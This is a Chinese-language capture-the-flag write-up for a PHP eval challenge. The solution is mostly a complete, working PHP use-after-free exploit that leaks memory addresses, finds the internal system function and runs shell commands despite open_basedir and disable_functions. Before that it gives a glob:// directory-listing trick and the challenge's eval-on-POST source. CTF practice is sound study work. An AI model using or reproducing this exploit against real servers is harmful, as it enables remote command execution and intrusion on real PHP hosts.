源码

<?php/*
# -*- coding: utf-8 -*-
# @Author: Lazzaro
# @Date:   2020-09-05 20:49:30
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-07 22:02:47
# @email: h1xa@ctfer.com
# @link: https://ctfer.com*/error_reporting(0);
ini_set('display_errors', 0);
// 你们在炫技吗？
if(isset($_POST['c'])){$c= $_POST['c'];eval($c);$s = ob_get_contents();ob_end_clean();echo preg_replace("/[0-9]|[a-z]/i","?",$s);
}else{highlight_file(__FILE__);
}?>你要上天吗？

思路

open_basedir限制了读取目录,用UAF脚本

题解

用glob协议读取根目录

c=?><?php
$a=new DirectoryIterator("glob:///*");
foreach($a as $f)
{echo($f->__toString().' ');
} e
xit(0);
?>

用uaf脚本命令执行,记得url编码

c=function ctfshow($cmd) {global $abc, $helper, $backtrace;class Vuln {public $a;public function __destruct() { global $backtrace; unset($this->a);$backtrace = (new Exception)->getTrace();if(!isset($backtrace[1]['args'])) {$backtrace = debug_backtrace();}}}class Helper {public $a, $b, $c, $d;}function str2ptr(&$str, $p = 0, $s = 8) {$address = 0;for($j = $s-1; $j >= 0; $j--) {$address <<= 8;$address |= ord($str[$p+$j]);}return $address;}function ptr2str($ptr, $m = 8) {$out = "";for ($i=0; $i < $m; $i++) {$out .= sprintf("%c",($ptr & 0xff));$ptr >>= 8;}return $out;}function write(&$str, $p, $v, $n = 8) {$i = 0;for($i = 0; $i < $n; $i++) {$str[$p + $i] = sprintf("%c",($v & 0xff));$v >>= 8;}}function leak($addr, $p = 0, $s = 8) {global $abc, $helper;write($abc, 0x68, $addr + $p - 0x10);$leak = strlen($helper->a);if($s != 8) { $leak %= 2 << ($s * 8) - 1; }return $leak;}function parse_elf($base) {$e_type = leak($base, 0x10, 2);$e_phoff = leak($base, 0x20);$e_phentsize = leak($base, 0x36, 2);$e_phnum = leak($base, 0x38, 2);for($i = 0; $i < $e_phnum; $i++) {$header = $base + $e_phoff + $i * $e_phentsize;$p_type  = leak($header, 0, 4);$p_flags = leak($header, 4, 4);$p_vaddr = leak($header, 0x10);$p_memsz = leak($header, 0x28);if($p_type == 1 && $p_flags == 6) { $data_addr = $e_type == 2 ? $p_vaddr : $base + $p_vaddr;$data_size = $p_memsz;} else if($p_type == 1 && $p_flags == 5) { $text_size = $p_memsz;}}if(!$data_addr || !$text_size || !$data_size)return false;return [$data_addr, $text_size, $data_size];}function get_basic_funcs($base, $elf) {list($data_addr, $text_size, $data_size) = $elf;for($i = 0; $i < $data_size / 8; $i++) {$leak = leak($data_addr, $i * 8);if($leak - $base > 0 && $leak - $base < $data_addr - $base) {$deref = leak($leak);if($deref != 0x746e6174736e6f63)continue;} else continue;$leak = leak($data_addr, ($i + 4) * 8);if($leak - $base > 0 && $leak - $base < $data_addr - $base) {$deref = leak($leak);if($deref != 0x786568326e6962)continue;} else continue;return $data_addr + $i * 8;}}function get_binary_base($binary_leak) {$base = 0;$start = $binary_leak & 0xfffffffffffff000;for($i = 0; $i < 0x1000; $i++) {$addr = $start - 0x1000 * $i;$leak = leak($addr, 0, 7);if($leak == 0x10102464c457f) {return $addr;}}}function get_system($basic_funcs) {$addr = $basic_funcs;do {$f_entry = leak($addr);$f_name = leak($f_entry, 0, 6);if($f_name == 0x6d6574737973) {return leak($addr + 8);}$addr += 0x20;} while($f_entry != 0);return false;}function trigger_uaf($arg) {$arg = str_shuffle('AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA');$vuln = new Vuln();$vuln->a = $arg;}if(stristr(PHP_OS, 'WIN')) {die('This PoC is for *nix systems only.');}$n_alloc = 10; $contiguous = [];for($i = 0; $i < $n_alloc; $i++)$contiguous[] = str_shuffle('AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA');trigger_uaf('x');$abc = $backtrace[1]['args'][0];$helper = new Helper;$helper->b = function ($x) { };if(strlen($abc) == 79 || strlen($abc) == 0) {die("UAF failed");}$closure_handlers = str2ptr($abc, 0);$php_heap = str2ptr($abc, 0x58);$abc_addr = $php_heap - 0xc8;write($abc, 0x60, 2);write($abc, 0x70, 6);write($abc, 0x10, $abc_addr + 0x60);write($abc, 0x18, 0xa);$closure_obj = str2ptr($abc, 0x20);$binary_leak = leak($closure_handlers, 8);if(!($base = get_binary_base($binary_leak))) {die("Couldn't determine binary base address");}if(!($elf = parse_elf($base))) {die("Couldn't parse ELF header");}if(!($basic_funcs = get_basic_funcs($base, $elf))) {die("Couldn't get basic_functions address");}if(!($zif_system = get_system($basic_funcs))) {die("Couldn't get zif_system address");}$fake_obj_offset = 0xd0;for($i = 0; $i < 0x110; $i += 8) {write($abc, $fake_obj_offset + $i, leak($closure_obj, $i));}write($abc, 0x20, $abc_addr + $fake_obj_offset);write($abc, 0xd0 + 0x38, 1, 4); write($abc, 0xd0 + 0x68, $zif_system); ($helper->b)($cmd);exit();
}ctfshow("cat /flag0.txt");ob_end_flush();
#需要通过url编码哦

总结

不是很懂

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